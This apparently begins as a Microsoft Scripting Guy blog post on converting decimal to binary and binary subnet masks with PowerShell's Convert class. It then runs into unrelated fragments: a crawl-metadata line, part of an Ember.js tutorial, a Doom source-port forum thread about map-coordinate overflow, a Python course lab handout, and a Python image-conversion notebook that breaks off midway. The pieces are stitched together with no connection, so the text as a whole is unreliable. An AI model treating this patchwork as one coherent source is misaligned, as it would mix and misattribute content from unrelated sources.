Summary: Learn how to use Windows PowerShell to easily convert decimal to binary and back, and simplify custom subnet mask calculations.
Microsoft Scripting Guy Ed Wilson here. Today is 63. Yep, that is right, today is 63. That is what you get when you see 11 11 11 represented as binary. This appears here.
PS C:\> 1+2+4+8+16+32
63
A long time ago in this same galaxy, I wrote a VBScript function that would accept a binary number such as 111111 and translate it to a decimal value. It was a fun exercise, but it was also a bit complex. I had to get the length of the string, break it down piece by piece by position, calculate the value of that position, keep a running total, and loop back again. Now, I could translate that VBScript into Windows PowerShell, but that would be both a waste of time as well as downright misleading. This is because in Windows PowerShell, I have direct access to the .NET Framework Convert class. The Convert class resides in the system namespace, and it contains a large number of static methods for converting one type of thing to another. Well, okay, it contains 25 static methods and properties (I can use the Get-Member cmdlet and the Measure-Object cmdlet to obtain this information):
PS C:\> [convert] | gm -s | measure
Count : 25
Average :
Sum :
Maximum :
Minimum :
Property :
The Convert class is well documented on MSDN, but in reality, the information obtained via the Get-Member cmdlet is usually enough information to make the conversion. For example, I can put the Convert class in square brackets, pipe it to Get-Member, use the static switch to retrieve static members, list the exact method I want to use, and send it to the Format-List cmdlet. This will show the method and all the associated overloads. This command sounds complicated, but it is really simple. The command is shown here:
[convert] | gm -s toint32 | fl *
The command and associated output are shown in the following figure.
Hmm, it looks like there is a static method called ToInt32 that will accept a string value, so to use this method to convert a binary number, all I need to do is to pass the string and the number base (which is base 2 for the case of binary number conversion). The command shown here translates today’s date, 111111:
[convert]::ToInt32(“111111”,2)
The command and associated output are shown here.
I can use the following script to translate a binary formatted subnet mask into decimal format:
ConvertBinarySubnetMaskToDecimal.ps1
$a=$i=$null
“11111111”,”11111111″,”11111000″,”00000000″ |
% {
$i++
[string]$a += [convert]::ToInt32($_,2)
if($i -le 3) {[string]$a += “.”}
}
$a
ConvertBinarySubnetMaskToDecimal.ps1 demonstrates using the System.Convert .NET Framework class to convert from a binary number into decimal.
The flip side of the coin is translating a decimal number into binary format. To convert a decimal number into binary format, I once again use the Convert class, but this time, I use the ToString method. The syntax is similar to that of the ToInt32 method. The command shown here converts the decimal number 15 into a binary number.
[convert]::ToString(15,2)
The command and associated output appear here.
PS C:\> [convert]::ToString(15,2)
1111
After I know I can do that, I can also write a quick script to convert a decimal subnet mask to binary representation. This script is shown here:
ConvertDecimalSubnetMaskToBinary.ps1
$a=$i=$null
“255”,”255″,”128″,”0″ |
% {
$i++
[string]$a += [convert]::ToString([int32]$_,2)
if($i -le 3) {[string]$a += “.”}
}
$a
ConvertDecimalSubnetMaskToBinary.ps1 demonstrates using the System.Convert .NET Framework class to convert from a decimal number into binary.
Join me tomorrow as I introduce Guest Blogger Chris Walker who will talk about using Windows PowerShell to manage SharePoint profiles. It is a really good article, and I am certain you will enjoy it. Until then, see ya.,
the combination of Powershell and the .Net Framework 2.0 really rocks!
( OK .. FW 4.0 might be preferrable … )
If you can't do anything with powershell "natively" have a look at the framework!
KLaus | https://blogs.technet.microsoft.com/heyscriptingguy/2011/11/11/use-powershell-to-easily-convert-decimal-to-binary-and-back/ | CC-MAIN-2016-40 | refinedweb | 696 | 55.54 |
Our final Ember article provides you with a list of resources that you can use to go further in your learning, plus some useful troubleshooting and other information.
Further resources
- Ember.JS Guides
- Ember.JS API Documentation
- Ember.JS Discord Server — a forum/chat server where you can meet the Ember community, ask for help, and help others!
General troubleshooting, gotchas, and misconceptions
This is nowhere near an extensive list, but it is a list of things that came up around the time of writing (latest update, May 2020).
How do I debug what's going on in the framework?
For framework-specific things, there is the ember-inspector add-on, which allows inspection of:
- Routes & Controllers
- Components
- Services
- Promises
- Data (i.e: from a remote API — from ember-data, by default)
- Deprecation Information
- Render Performance
For general JavaScript debugging, check out our guides on JavaScript Debugging
as well as interacting with the browser's other debugging tools. In any default Ember
project, there will be two main JavaScript files,
vendor.js and
{app-name}.js. Both of
these files are generated with sourcemaps, so when you open the
vendor.js or
{app-name}.js to search for relevant code, when a debugger is placed, the sourcemap will be loaded and the breakpoint will be placed in the pre-transpiled code for easier correlation to your project code.
For more information on sourcemaps, why they're needed, and what the ember-cli does with them, see the Advanced Use: Asset Compilation guide. Note that sourcemaps are enabled by default.
ember-data comes pre-installed; do I need it?
Not at all. While
ember-data solves the most common problems that any app dealing with
data will run in to, it is possible to roll your own front-end data client. A common
alternative is to any fully-featured front-end data client is The Fetch API.
Using the design patterns provided by the framework, a
Route using
fetch() would look something like this:
import Route from '@ember/routing/route'; export default class MyRoute extends Route { async model() { let response = await fetch('some/url/to/json/data'); let json = await response.json(); return { data: json }; } }
See more information on specifying the
Route's model here.
Why can't I just use JavaScript?
This is the most common question Ember folks hear from people who have previous
experience with React. While it is technically possible to use JSX, or any
other form of DOM creation, there has yet to be anything as robust as Ember's
templating system. The intentional minimalism forces certain decisions, and allows
for more consistent code, while keeping the template more structural rather than having them filled with bespoke logic.
See also: ReactiveConf 2017: Secrets of the Glimmer VM
What is the state of the
mut helper?
mut was not covered in this tutorial and is really baggage from a transitional time when Ember was moving from two-way bound data to the more common and easier-to-reason-about one-way bound data flow. It could be thought of as a build-time transform that wraps its argument with a setter function.
More concretely, using
mut allows for template-only settings functions to be declared:
<Checkbox @value={{this.someData}} @onToggle={{fn (mut this.someData) (not this.someData)}} />
Whereas, without
mut, a component class would be needed:
import Component from '@glimmer/component'; import { tracked } from '@glimmer/tracking'; import { action } from '@ember/object'; export default class Example extends Component { @tracked someData = false; @action setData(newValue) { this.someData = newValue; } }
Which would then be called in the template like so:
<Checkbox @data={{this.someData}} @onChange={{this.setData}} />
Due to the conciseness of using
mut, it may be desireable to reach for it. However,
mut has unnatural semantics and has caused much confusion over the term of its existence.
There have been a coupleof new ideas put together into the form of addons that use the public apis,
ember-set-helper and
ember-box. Both of these try to solve the problems of
mut
by introducing more obvious / "less magic" concepts, avoiding build-time transforms and
implicit Glimmer VM behavior.
With
ember-set-helper:
<Checkbox @value={{this.someData}} @onToggle={{set this "someData" (not this.someData)}} />
With
ember-box:
{{#let (box this.someData) as |someData|}} <Checkbox @value={{unwrap someData}} @onToggle={{update someData (not this.someData)}} /> {{/let}}
Note that none of these solutions are particularly common among members of the community, and as a whole, people are still trying to figure out an ergonomic and simple API for setting data in a template-only context, without backing JS.
What is the purpose of Controllers?
Controllers are Singletons, which may help manage the rendering context of the
active route. On the surface, they function much the same as the backing JavaScript of a Component. Controllers are (as of January 2020), the only way to manage URL Query Params.
Ideally, controllers should be fairly light in their responsibilities, delegating to Components
and Services where possible.
What is the purpose of Routes?
A Route represents part of the URL when a user navigates from place to place in the app.
A Route has only a couple responsibilities:
- Load the minimally required data to render the route (or view-sub-tree).
- Gate access to the route and redirect if needed.
- Handle loading and error states from the minimally required data.
A Route only has 3 lifecycle hooks, all of which are optional:
beforeModel— gate access to the route.
model— where data is loaded.
afterModel— verify access.
Last, a Route has the ability to handle common events resulting from configuring the
model:
modelhook is loading.
error— what to do when an error is thrown from
model.
Both
error can render default templates as well as customized templates defined elsewhere in the application, unifying loading/error states.
More information on everything a Route can do is found in the API documentation. | https://developer.mozilla.org/tr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources | CC-MAIN-2020-45 | refinedweb | 981 | 56.15 |
Lab 1: Expressions and Control Structures
Due at 11:59pm on Friday, 09/02/2016., Account
Go to the EECS account site
to register for an instructional account. Login using your Berkeley CalNet Id
and click the
Get a new account button in the row for CS 61A. Your username
will be of the form cs61a-xx. Write down or download your account form so you
don't forget it!
These accounts allow you to use instructional machines in the CS department, which can be useful if you do not have regular access to a computer.
This UNIX Tutorial explains the basics of how to use the Terminal.
You can refer to Lab 0 for help logging into your class account.
Using Python
When running a Python file, you can use options on the command line to inspect your code further. Here are a few that will come in handy. If you want to learn more about other Python command-line options, take a look at the documentation.
Using no command-line options will run the code in the file you provide and return you to the command line.
python3 lab01.py
-i: The
-ioption runs your Python script, then opens an interactive session. To exit, type
exit()into the interpreter prompt. You can also use the keyboard shortcut
Ctrl-Don Linux/Mac machines or
Ctrl-Z Enteron Windows.
If you edit the Python file while running it interactively, you will need to exit and restart the interpreter in order for those changes to take effect.
python3 -i lab01. To use OK to run doctests for a specified function, run the following command:
python3 ok -q <specified function>
By default, only tests that did not pass will show up. You can use the
-v
option to show all tests, including tests you have passed:
python3 ok -v:
Notice that Python outputs
ZeroDivisionError for certain cases. We will go over this later in this lab under Error Messages.evaluates to
Trueonly if both operands evaluate to
True. If at least one operand is
False, then
andevaluates to
False.
orevaluates to
Trueif at least one operand evaluates to
True. If both operands are
False, then
orevaluates to
False.
notevaluates to
Trueif its operand evaluates to
False. It evaluates to
Falseif its operand evalutes to
True.
What do you think the following expression evaluates to? Try it out in the Python interpreter.
>>> True and not False or not True and False
It is difficult to read complex expressions, like the one above, and understand how a program will behave. Using parentheses can make your code easier to understand. Just so you know, Python interprets that expression in the following way:
>>> (True and (not False)) or ((not True) and False)
This is because boolean operators, like arithmetic operators, have an order of operation:
nothas the highest priority
and
orhas the lowest priority
It turns out
and and
or work on more than just booleans (
True,
False). Python values such as
0,
None,
'' (the empty string), and
[]
(the empty list) are considered false values. All other values are considered
true values.
Short Circuiting
What do you think will happen if we type the following into Python?
1 / 0
Try it out in Python! You should see a
ZeroDivisionError. But what about this expression?
True or 1 / 0
It evaluates to
True because Python's
and and
or operators short-circuit. That is, they don't necessarily evaluate every operand.
If
and and
or do not short-circuit, they just return the last
value. This means that
and and
or don't always return booleans when using
values other than
True and
False.
return and
print
Most functions that you define will contain a
return statement. The
return
statement will give the result of some computation back to the caller of the
function and exit the function. For example, the function
square below takes
in a number
x and returns its square.
def square(x): """ >>> square(4) 16 """ return x * x
When Python executes a
return statement, the function terminates immediately.
If Python reaches the end of the function body without executing a
return
statement, it will automatically return
None.
In contrast, the
return because calling a
function in the Python interpreter will print out the function's return value.
However, unlike a
return statement, when Python evaluates a
def what_prints(): print('Hello World!') return 'Exiting this function.' print('61A is awesome!') >>> what_prints() Hello World! 'Exiting this function.'
Notice also that
returnwill preserve the quotes.
If Statements
You can review the syntax of
if statements in
Section 1.5.4
of Composing Programs.
Tip: We sometimes see code that looks like this:
if x > 3: return True else: return False
This can be written more concisely as
return x > 3. If your code looks like the code above, see if you can rewrite it more clearly!
While Loops
You can review the syntax of
while loops in
Section 1.5.5
of Composing Programs.
Error Messages
By now, you've probably seen a couple of error messages. They might look intimidating, but error messages are very helpful for debugging code. The following are some common types of errors:
Using these descriptions of error messages, you should be able to get a better idea of what went wrong with your code. If you run into error messages, try to identify the problem before asking for help. You can often Google unfamiliar error messages to see if others have made similar mistakes to help you debug.
For example:
>>> square(3, 3) Traceback (most recent call last): File "<stdin>", line 1, in <module> TypeError: square() takes 1 positional argument but 2 were given
Note:
- The last line of an error message tells us the type of the error. In the example above, we have a
TypeError.
- The error message tells us what we did wrong -- we gave
square2 arguments when it can only take in 1 argument. In general, the last line is the most helpful.
- The second to last line of the error message tells us on which line the error occurred. This helps us track down the error. In the example above,
TypeErroroccurred at
line 1.
Required Questions
What Would Python Display (Part 1)?
Question 1: WWPD: Veritasiness
Use OK to test your knowledge with the following "What Would Python Display?" questions:
python3 ok -q short_circuiting -u
>>> True and 13______13>>> False or 0______0>>> not 10______False>>> not None______True
>>> True and 1 / 0 and False______Error (ZeroDivisionError)>>> True or 1 / 0 or False______True>>> True and 0______0>>> False or 1______1>>> 1 and 3 and 6 and 10 and 15______15>>>: Double Eights
Write a function that takes in a number and determines if the digits contain two adjacent 8s.
def double_eights(n): """Return true if n has two eights in a row. >>> double_eights(8) False >>> double_eights(88) True >>> double_eights xk(c, d): ... if c == 4: ... return 6 ... elif d >= 4: ... return 6 + 7 + c ... else: ... return 25 >>> xk(10, 10)______23>>> xk(10, 6)______23>>> xk(4, 6)______6>>> xk(0, 0)______25
>>> def how_big(x): ... if x > 10: ... print('huge') ... elif x > 5: ... return 'big' ... elif x > 0: ... print('small') ... else: ... print("nothin'") >>> how_big(7)______'big'>>> how_big(12)______huge>>> how_big(1)______small>>> how_big(-1)______nothin'
>>> def so_big(x): ... if x > 10: ... print('huge') ... if x > 5: ... return 'big' ... if x > 0: ... print('small') ... print("nothin'") >>> so_big(7)______'big'>>> so_big(12)______huge 'big'>>> so_big(1)______small nothin'
>>> def ab(c, d): ... if c > 5: ... print(c) ... elif c > 7: ... print(d) ... print('foo') >>> ab(10, 20)______10 foo
>>> def bake(cake, make): ... if cake == 0: ... cake = cake + 1 ... print(cake) ... if cake == 1: ... print(make) ... else: ... return cake ... return make >>> bake(0, 29)______1 29 29>>> bake(1, "mashed potatoes")______mashed potatoes "mashed potatoes"
Question 9:! | http://inst.eecs.berkeley.edu/~cs61a/fa16/lab/lab01/ | CC-MAIN-2018-05 | refinedweb | 1,296 | 75.4 |
Lets say you want to determine if two strings are almost the same in Python. A few years ago I used the python-Levenshtein. I chose that because I read about the Levenshtein distance. Thought it looked good. Did a Google search. One problem with this it is not maintained and it is not ready for production.
Recently, I came at the problem anew and found the builtin Python library called difflib. I could match strings using:
from difflib import SequenceMatcher as SM SM(None, 'The first string', 'The first string').ratio() >>> 1.0 SM(None, 'The first string', 'The second string').ratio() >>> 0.7272727272727273
For my needs, this works well enough. It’s builtin. Its my new go to lib.
If difflib does not work for you, this looks promising: fuzzywuzzy.
Advertisements | https://snakeycode.wordpress.com/2015/03/08/fuzzy-string-matching-in-python/ | CC-MAIN-2017-43 | refinedweb | 133 | 86.3 |
Say you have two Sparse Vectors. As an example:
val vec1 = Vectors.sparse(2, List(0), List(1)) // [1, 0]
val vec2 = Vectors.sparse(2, List(1), List(1)) // [0, 1]
val vec3 = Vectors.sparse(4, List(0, 2), List(1, 1)) // [1, 0, 0, 1]
I think you have a slight problem understanding
SparseVectors. Therefore I will make a little explanation about them, the first argument is the number of features | columns | dimensions of the data, besides every entry of the
List in the second argument represent the position of the feature, and the values in the the third
List represent the value for that column, therefore
SparseVectors are locality sensitive, and from my point of view your approach is incorrect.
If you pay more attention you are summing or combining two vectors that have the same dimensions, hence the real result would be different, the first argument tells us that the vector has only 2 dimensions, so
[1,0] + [0,1] => [1,1] and the correct representation would be
Vectors.sparse(2, [0,1], [1,1]), not four dimensions.
In the other hand if each vector has two different dimensions and you are trying to combine them and represent them in a higher dimensional space, let's say four then your operation might be valid, however this functionality isn't provided by the SparseVector class, and you would have to program a function to do that, something like (a bit imperative but I accept suggestions):
def combine(v1:SparseVector, v2:SparseVector):SparseVector = { val size = v1.size + v2.size val maxIndex = v1.size val indices = v1.indices ++ v2.indices.map(e => e + maxIndex) val values = v1.values ++ v2.values new SparseVector(size, indices, values) } | https://codedump.io/share/dX6vlI7toPj2/1/concatenate-sparse-vectors-in-spark | CC-MAIN-2017-34 | refinedweb | 285 | 51.99 |
Posts: 7792
Registered: 01-03
Maes said:
Essentially the Doom engine ruins what were perfectly adequate unsigned 9-bit integers by interpreting them as signed. Fail.
Posts: 2739
Registered: 01-04
Graf Zahl said:
Well, anyway, I have always considered anything beyond -16383,16383 fundamentally unsafe when it comes to coordinates so in the end this is merely a fix for maps that exceed the bounds of stability.
Posts: 12838
Registered: 07-06
Graf Zahl said:
I wouldn't call something 'fail' that was unthinkable 18 years ago, When Doom was developed nobody could ever imagine maps getting as large as some are now.
Last edited by entryway on 12-03-11 at 17:06
Last edited by Maes on 12-03-11 at 19:02
Maes said:
I do have some problems with hitscan attacks though (e.g. I can't shoot the west wall in test272.wad unless I go into the block containing it). The reverse does work however (shooting east from west)
Last edited by Maes on 12-03-11 at 20:37
entryway said:
Like this?
code:
public final int getSafeBlockX(long blockx){
// Interpret as positive if positive
if (blockx>0){
blockx>>>=MAPBLOCKSHIFT;
return (int) blockx;
}
else {
blockx>>=MAPBLOCKSHIFT;
return (int) blockx;
}
}
Last edited by Maes on 12-04-11 at 15:23
Maes said:
I used the above getSafeBlock function though, no idea what your 64 version looks like
Last edited by entryway on 12-04-11 at 18:25
entryway said:
It was the same as P_GetSafeBlockX, but with int64 argument. I've removed it:
Correct?
Maes said:
I noticed that you don't need the mapxl/mapyl variables (they work fine even if you use x1,x2 and not _x1,_x2), so if you want to shave some CPU cycles by not using 64-bit longs unnecessarily...
entryway said:
Does not work witout mapx1/y1 (it is used in xintercept/yintercept too)
Last edited by Maes on 12-04-11 at 20:48
Maes said:
yintercept = (int) ((_y1>>MAPBTOFRAC) + FixedMul (partial, ystep));
Last edited by entryway on 12-04-11 at 21:01
Maes said:
Hmm yeah I see it now. Okey dokey, adopting fix ;-)
entryway said:
Is there an easy way to detect necessity of int64 math (which will lead to desynches)?
Last edited by Maes on 12-04-11 at 21:37
Maes said:
An easy way to do this is to see if the same operations done with fixed_t and int_64 math give the same results, bitwise (after you cast the fixed_t result to int_64). If not, then you have an anomalous situation.
Maes said:
Or you could even call it "Fix clipping problems in large levels". Doesn't get more user-friendly than that ;-)
Last edited by entryway on 12-04-11 at 21:50
Posts: 597
Registered: 08-09
entryway said:
We only could 'fix' it for all complevel if doom/boom would crash on such situations (then we 'just' fix a crash)
tempun said:
how about enabling the fix if non-vanilla nodes are detected then?
entryway said:
btw, I have added it to prboom-plus
> | http://www.doomworld.com/vb/source-ports/58002-immediate-noclip-at-level-start/2/ | CC-MAIN-2014-52 | refinedweb | 520 | 60.58 |
Hi there. I’m messing around with Python dictionaries. This code takes you into a menu with available foods and lets you consume them for HP. It then updates your health and pops off the food for the dict.
I want to add a “none” option to the food menu. You can see the elif statement is #commented out. Using a break only took me to the main().
Any ideas for adding that and any comments for improving the code?
import time import sys foods = {"blueberries": 20, "apple": 30, "banana": 15, "pizza": 5, "broccoli": 60, "milkshake": 10, "soda": 5, "turkey leg": 50} health = 0 print("FOOD MENU") def eat_food(): global health global foods print("You have... ") while True: for food, health_points in foods.items(): print("{0}: {1} HP".format(food, health_points)) print("Type 'none' to exit food menu.") user_input = input("Which food would you like to eat?: ") if user_input in foods.keys(): health += foods.get(user_input) foods.pop(user_input) print("Your current health level is now {0}.".format(health)) #elif user_input in ("None", "none"): else: print("You don't have that item. Check for typos.") return health def main(): eat_food() time.sleep(0.5) while True: user_input_2 = input("Would you like to eat something else?: ") if user_input_2 in ("Yes", "yes"): eat_food() elif user_input_2 in ("No", "no"): print("Exiting food menu.") break else: user_unsure = input("Sorry, was that a yes or no?: ") if user_unsure in ("Yes", "yes"): eat_food() elif user_unsure in ("No", "no"): print("Exiting food menu.") break if __name__ == "__main__": main() | https://discuss.codecademy.com/t/eat-food-for-hp-with-python-dictionaries-help/483135 | CC-MAIN-2020-40 | refinedweb | 251 | 78.45 |
Now that we've added some buttons, let's add some other elements.
Adding HTML Elements to a Window
In addition to all of the XUL elements that are available, you can also add HTML elements directly within a XUL file. You can actually use any HTML element in a XUL file, meaning that Java applets and tables can be placed in a window. You should avoid using HTML elements in XUL files if you can. (There are some reasons, and the main one concerns the control of the layout described later). However, this section will describe how to use them anyway. Remember that XML is case-sensitive though, so you'll have to enter the tags and attributes in lowercase.
XHTML namespace
In order to use HTML elements in a XUL file, you must declare that you are doing so using the XHTML namespace. This way, Mozilla can distinguish the HTML tags from the XUL ones. The attribute below should be added to the
tag of the XUL file, or to the outermost HTML element.
window
xmlns:html=""
This is a declaration of HTML much like the one we used to declare XUL. This must be entered exactly as shown or it won't work correctly. Note that Mozilla does not actually download this URL, but it does recognize it as being HTML.
Here is an example as it might be added to the find file window:
<?xml version="1.0"?> <?xml-stylesheet
Then, you can use HTML tags as you would normally, keeping in mind the following:
- You must add a
html:prefix to the beginning of each tag, assuming you declared the HTML namespace as above.
- The tags must be entered in lowercase.
- "Quotes" must be placed around all attribute values.
- XML requires a trailing slash at the end of tags that have no content. This may be clearer from the examples below.
Using HTML elements
You can use any HTML tag although some such as
head and
body are not really useful. Some examples of using HTML elements are shown below.
<html:img <html:input <html:table> <html:tr> <html:td> A simple table </html:td> </html:tr> </html:table>
These examples will create an image from the file banner.jpg, a checkbox and a single-cell table. You should always use XUL features if they are available and you probably should not use tables for layout in XUL. (There are XUL elements for doing layout). Notice that the prefix
html: was added to the front of each tag. This is so that Mozilla knows that this is an HTML tag and not a XUL one. If you left out the
html: part, the browser would think that the elements were XUL elements and they would not display because img, input, table, and so on are not valid XUL tags.
In XUL, you can add labels with the
or
description
element. You should use these elements when you can. You can also add labels to controls either by using the HTML
label
label element, or you can simply put the text inside another HTML block element (such as
p or
div) as in the example below.
var el = env.locale; Example 1 : Source View
<html:p> Search for: <html:input <button id="okbutton" label="OK"/> </html:p>
This code will cause the text 'Search for:' to be displayed, followed by an input element and an OK button. Notice that the XUL button can appear inside the HTML elements, as it does here. Plain text will only be displayed when placed inside an HTML element that would normally allow you to display text (such as a
p tag). Text outside of one will not be displayed, unless the XUL element the text is inside allows this (the
description element, for example). The examples below may help.
Examples of HTML elements
What follows are some examples of adding HTML elements to windows. In each case, the window and other common information has been left out for simplicity.
A dialog with a check box
var el = env.locale; Example 2 : Source View
<html:p> Click the box below to remember this decision. <html:p> <html:input <html:labelRemember This Decision</html:label> </html:p> </html:p>
In this case, one
p tag was used to place the text in and another was used to break apart the text into multiple lines.
Text outside of HTML blocks
var el = env.locale; Example 3 : Source View
<html:div> Would you like to save the following documents? <html:hr/> </html:div> Expense Report 1 What I Did Last Summer <button id="yes" label="Yes"/> <button id="no" label="No"/>
As can be seen in the image, the text inside the
div tag was displayed but the other text (Expense Report 1 and What I Did Last Summer) was not. This is because there is no HTML or XUL element capable of displaying text enclosing it. To have this text appear, you would need to put it inside the
div tag, or enclose the text in a
description tag.
Invalid HTML elements
<html:po>Case 1</html:po> <div>Case 2</div> <html:description
All three of the cases above will not display, each for a different reason.
- Case 1
pois not a valid HTML tag and Mozilla has no idea what to do with it.
- Case 2
divis valid but only in HTML. To get it to work, you will need to add the html: qualifier.
- Case 3
- A
descriptionelement is only valid in XUL and not in HTML. It should not have the html: qualifier.
Next, we will learn how to adding spacing between elements. | https://developer.mozilla.org/en-US/docs/XUL_Tutorial/Adding_HTML_Elements?redirect=no | CC-MAIN-2016-26 | refinedweb | 944 | 71.55 |
RsopDeleteSession method of the RsopPlanningModeProvider class
The RsopDeleteSession method deletes planning mode data when the data is no longer required by the RSoP MMC snap-in (rsop.msc). The RsopCreateSession method generates data in the planning mode.
This method is implemented in the provider.
Syntax
Parameters
- namespace [in]
Specifies the RSoP namespace where planning mode data is stored. This parameter indicates the namespace returned by a call to the RsopCreateSession method.
- hResult [out]
An HRESULT that indicates the success or failure of the method. If the method succeeds, the return value is S_OK. Otherwise, the method returns one of the COM error codes defined in the Platform SDK header file WinError.h.
Return value
This method has no return value. For more information, see the description of the hResult parameter.
Remarks
RSoP planning mode requires Windows Server.
Requirements
See also | https://msdn.microsoft.com/en-us/library/windows/desktop/aa374841.aspx | CC-MAIN-2017-39 | refinedweb | 140 | 59.9 |
:
Creating our app service
Log into the Azure web portal and click on App Services and then Add. Here, create a new app service using Python 3, pick a region, and give it a unique name:
If you look at the list of available stacks, you can see that Azure supports most popular coding languages, so you can use this same workflow regardless which language you’re comfortable with. Once the app service has been created, you’ll be sent to the app service’s overview page where you should see the URL of your web site:
You can visit that URL to see the default Microsoft welcome page.
Deploying our app
On the Azure portal, click on the Deployment Center link in order to configure and view the deployments of your app. Follow the quick start guide where you can select GitHub as your source and connect your GitHub account for continuous deployment, then pick the Kudu deployment method. As soon as you’ve done this configuration, the deployment will begin. If you wait a minute and refresh the URL of your web app, you should see Hello World! appear on the web site.
To make sure that the continuous integration works, go back to GitHub and update the index.py file. Replace the text like this:
from flask import Flask app = Flask(__name__) @app.route("/") def hello(): return "This is a test of the pipeline!"
Now, if you go back to the Azure deployment center, you should see that Azure has detected the changes and is deploying a new version of your web app behind the scenes:
After another minute or so, your web app should display the new text. Congratulations, you’ve just deployed a fully functional web app using Ci/CD in less time than it takes to go buy a coffee down the street! Make sure to Stop the app service on the overview page in order not to incur any potential cost for running it in Azure after your free trial is over. | https://blog.dendory.ca/2020/03/building-azure-web-app-using-continuous.html | CC-MAIN-2021-31 | refinedweb | 339 | 64.44 |
Hello,
I have been trying to count the number of digits in an integer. I know I am close, but I am not quite sure what I am doing wrong. Could someone please point me in the right direction?
My output is always 1 for A. I know I am just misunderstanding something simple.My output is always 1 for A. I know I am just misunderstanding something simple.Code:
using namespace std;
int main()
{
long A;
long B;
int n=0;
cout << "enter value: " ;
cin >> A;
cin.ignore();
if (1000000000 < A >= 0) {
++n;
(A /= 10);
cout << A << " is " << n << " digits long" << endl;
}
}
Thank you in advance for any help on this problem. | http://cboard.cprogramming.com/cplusplus-programming/125101-counting-sharp-digits-printable-thread.html | CC-MAIN-2014-52 | refinedweb | 113 | 84.57 |
One of the key aspects of working with the API is the ability to download the barcode data and work with it as an image. Let's see how to do this and how to convert the raw data into something that can be manipulated further.
Downloading the bitmap data is easy as there is a GetBarcode method which will return the pattern of bits that represent the barcode in a range of image formats, sizes and layout. To see this in action let's download the bitmap corresponding to MyTag created earlier. To display the bitmap it is assumed that there is a Image control placed on the form.
The code starts off in the usual way by creating an access client:
MIBPContractClient Client = new MIBPContractClient();UserCredential Creds = new UserCredential();Creds.AccessToken = "YOUR KEY";
Then we use the client's GetBarCode method to retrieve a byte array of image data:
byte[] image = Client.GetBarcode( Creds, "Main", "MyTag", ImageTypes.png, 0.75f, DecorationType.HCCBRP_DECORATION_NONE, false);
The first three parameters are the usual credentials, category and Tag tile specifies.
The third parameter specifies the image format. You can select between gif, jpeg, pdf, png, gif, tiff and tag. All of the formats are standard except for tag which is described as "a text representation of the Tag". In fact this is a hexadecimal code which provides the positions and colors of each of the small triangles that makes up the barcode. You can find more out about how the code relates to the Tag layout and how to use it to create a Tag at:...
The next parameter specifies the size of the tag in inches and its valid range it 0.75 to 120.0 inches. In theory the image should be rendered at 96dpi but it appears to be rendered at 600dpi in practice.
The final two parameters control the layout of the graphic and what additional decoration is included and if it is to be rendered in color or black and white.
If you run this code the and all goes well image will contain the bitmap representation of the graphic in the format specified. You could at this point simply save the array to a file and reload the file into a suitable bitmap structure or object. In practice you can use the BitmapImage class to convert the array into a WPF bitmap:
MemoryStream ms = new MemoryStream(image); BitmapImage bmi = new BitmapImage(); bmi.BeginInit(); bmi.StreamSource = ms; bmi.EndInit();image1.Source = bmi;
First we convert the array to an in memory stream and then read it into a BitmapImage object. Notice that you don't have to specify the file format the system works it out. For this to work you also need to add:
using System.IO;
The result of running the program is the Tag graphic displayed in the Image control.
The rendered barcode
You can now go on and process the barcode image in a variety of ways using the standard WPF Bitmaps - see WPF Workings for more details.
To access the code for this sample project, once you have registered, click on CodeBin.596805489>
<ASIN:0470548657>
<ASIN:143022455X>
<ASIN:143022469X>
<ASIN:1847196624>
<ASIN:0470285818> | http://www.i-programmer.info/programming/c/930-getting-started-with-microsoft-tag.html?start=2 | CC-MAIN-2016-40 | refinedweb | 531 | 62.27 |
One of the deployment validation and testing tools which was also present in earlier AD FS releases is the /IdpInitiatedSignon.htm page. This page is available by default in the AD FS 2012 R2 and earlier versions. Though it should be noted this page is disabled by default in AD FS 2016.
From the system you wish to test from, navigate to the AD FS namespace's idpinitiatedsignonpage. This will be in the format of:
https://<AD FS name>.tailspintoys.ca/adfs/ls/idpinitiatedsignon.htm
In this case the AD FS namespace is adfs.tailspintoys.ca so the test URL is:
Alternatively a lot of deployments use the Secure Token Service (STS) as the namespace. An example would be:
IdpInitiatedSignon Page On Windows 2012 R2
The IdpInitiatedSignonPage is enabled by default on Windows 2012 R2 AD FS. The Tailspintoys example is shown below.
Testing IdpInitiatedSignon Page On Windows 2016
The IdpInitiatedSignon page is disabled by default on AD FS 2016. If you attempt to navigate to the URL, the below error will be displayed:
The displayed error was:
An error occurred
The resource you are trying to access is not available. Contact your administrator for more information.
Enabling IdpInitiatedSignon Page On Windows 2016
The idpInitiatedSignon page is controlled via the EnableIdpInitiatedSignonPage property on the AD FS farm.
In the below example we will check the current status of the EnableIdpInitiatedSignonPage property, noting that it is set to $False.
Get-AdfsProperties | Select-Object EnableIdpInitiatedSignonpage
To enable the EnableIdpInitiatedSignonPage, it is simply a matter of setting EnableIdpInitiatedSignonPage to $True
Set-AdfsProperties –EnableIdpInitiatedSignonPage $True
Verifying IdpInitiatedSignon Page Functions On Windows 2016
Now that we have set EnableIdpInitiatedSignonPage to $True, we can verify that the page works.
Note that in the below example, the AD FS namespace has been added to he local intranet zone in IE so that we can benefit from a slipstreamed logon experience.
Since the the AD FS namespace is present within the local intranet IE security zone, by default this will provide the credentials to the AD FS endpoint.
As you can see in the highlighted red box – we are now signed in.
Cheers,
Rhoderick
The problem I have is that I’m on 2012r2, and upgrading to 2016. I don’t like that I have to replace the entire farm in one change mgmt (12 servers for us) to enable this feature on our WAPs. Seems a lot of risk to assume for a high visibility resource as opposed to a more graceful, phase in/phase out of nodes.
The big hangup, is one of our apps requires IDP as their website does not support a redirect back to ADFS for logon.
Hi Rhoderick,
thank you so much for the post. You are always very helpful. Keep it up, God Bless you
Thanks Farooq!
Owyeah!!
thnk you so much for this tip man.
I`ll post it in my blog with your permition. | https://blogs.technet.microsoft.com/rmilne/2017/06/20/how-to-enable-idpinitiatedsignon-page-in-ad-fs-2016/ | CC-MAIN-2018-05 | refinedweb | 485 | 53.92 |
This notebook is part of a blog post on Geophysics Labs.
Here I demonstrate how to convert a 3-channel RGB picture into an indexed-color one-band grid. This step is essential to be able to import coloured images into OpendTect.
The example shown here makes use of the Kevitsa dataset that was made freely available by the Frank Arnott Award.
import numpy as np import matplotlib.pyplot as plt import matplotlib.colors as mcolors %matplotlib inline
inFile = r'..\data\Kevitsa_geology_noframe.png' imRGB = plt.imread(inFile) # plot fig,ax = plt.subplots(figsize=(6,6)) ax.imshow(imRGB) plt.title('Original RGB image')
<matplotlib.text.Text at 0x1f1edb4e908>
Let's check the dimensions of the array:
imRGB.shape
